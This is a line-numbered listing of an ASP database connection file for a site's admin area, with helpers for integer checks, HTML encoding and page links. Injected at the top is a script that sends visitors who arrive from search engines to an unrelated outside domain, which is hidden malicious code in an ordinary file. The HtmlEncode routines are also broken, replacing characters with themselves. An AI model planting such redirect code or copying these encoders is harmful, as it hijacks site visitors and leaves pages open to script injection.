d:\wwwroot\wuchunhua\admin\Conn.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<%
@ LANGUAGE = VBScript.Encode
%
>
002:
<!--#include file="../setup.asp"-->
003:
<!--#include file="../setup1.asp" -->
004:
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=gb2312">
005:
<%
dim conn
006:
On Error Resume Next '容错声明
007:
response.buffer=true
008:
009:
dim db,connstr
010:
db="#data.asp"
011:
set Conn = server.CreateObject("ADODB.Connection")
012:
connstr="Provider = Microsoft.Jet.OLEDB.4.0;Data Source = "& server.MapPath("../data/"&db&"")
013:
conn.Open connstr
014:
015:
Function strint(id)
016:
If IsNumeric(id) = 0 or id = "" Then id = 0
017:
strint = Clng(id)
018:
End Function
019:
020:
Function HtmlEncode(Content)
021:
Content = Replace(Content, ">", ">")
022:
Content = Replace(Content, "<", "<")
023:
Content = Replace(Content, "'", "")
024:
HtmlEncode = content
025:
End Function
026:
027:
Function HtmlEncode2(Content)
028:
Content = Replace(Content, ">", ">")
029:
Content = Replace(Content, "<", "<")
030:
Content = Replace(Content, " ", " ")
031:
Content = Replace(Content, "'", "")
032:
Content = Replace(Content, vbcrlf,"<br>")
033:
HtmlEncode2 = content
034:
End Function
035:
036:
function isChkInteger(para)
037:
On Error Resume Next
038:
dim str
039:
dim l,i
040:
if isNUll(para) then
041:
isChkInteger=false
042:
exit function
043:
end if
044:
str=cstr(para)
045:
if trim(str)="" then
046:
isChkInteger=false
047:
exit function
048:
end if
049:
l=len(str)
050:
for i=1 to l
051:
if mid(str,i,1)>"9" or mid(str,i,1)<"0" then
052:
isChkInteger=false
053:
exit function
054:
end if
055:
next
056:
isChkInteger=true
057:
if err.number<>0 then err.clear
058:
end function
059:
060:
Function PageSplit(currentpage,totalpage,pagename)
061:
if currentpage mod 10 = 0 then
062:
Sp = currentpage \ 10
063:
else
064:
Sp = currentpage \ 10 + 1
065:
end if
066:
Pagestart = (Sp-1)*10+1
067:
Pageend = Sp*10
068:
strSplit = "<a href="&pagename&"?pageid=1><font face=webdings title=第一页>9</font></a> "
069:
if Sp > 1 then strSplit = strSplit & "<a href="&pagename&"?pageid="&Pagestart-10&"><font face=webdings title=前十页>7</font></a> "
070:
for j=PageStart to Pageend
071:
if j > totalpage then exit for
072:
if j <> currentpage then
073:
strSplit = strSplit & "<a href="&pagename&"?pageid="&j&">["&j&"]</a> "
074:
else
075:
strSplit = strSplit & "<font color=red>["&j&"]</font> "
076:
end if
077:
next
078:
if Sp*10 < totalpage then strSplit = strSplit & "<a href="&pagename&"?pageid="&Pagestart+10&"><font face=webdings title=后十页>8</font></a>"
079:
strSplit = strSplit & "<a href="&pagename&"?pageid="&totalpage&" ><font face=webdings title=""最后一页"">:</font></a>"
080:
PageSplit = strSplit
081:
End Function
%
>
082:
083:
084: